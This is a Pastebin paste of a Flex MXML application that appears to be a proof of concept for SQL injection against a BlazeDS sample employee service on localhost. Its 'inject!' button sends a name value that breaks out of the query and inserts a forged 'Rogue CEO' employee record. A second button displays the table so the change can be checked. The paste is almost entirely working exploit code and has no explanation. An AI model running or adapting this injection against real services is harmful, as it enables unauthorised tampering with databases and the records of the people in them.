Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?xml version="1.0" encoding="utf-8"?>
- <mx:WindowedApplication xmlns:mx="http://www.adobe.com/2006/mxml">
- <mx:RemoteObject id="ro" destination="runtime-employee-ro">
- <mx:channelSet>
- <mx:ChannelSet>
- <mx:AMFChannel uri="http://localhost:8400/samples/messagebroker/amf"/>
- </mx:ChannelSet>
- </mx:channelSet>
- </mx:RemoteObject>
- <mx:Button label="inject!">
- <mx:click>
- ro.findEmployeesByName("';INSERT INTO employee (first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue CEO');");
- </mx:click>
- </mx:Button>
- <mx:Button label="getEmployees">
- <mx:click>
- ro.getEmployees();
- </mx:click>
- </mx:Button>
- <mx:DataGrid dataProvider="{ro.getEmployees.lastResult}"/>
- </mx:WindowedApplication>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement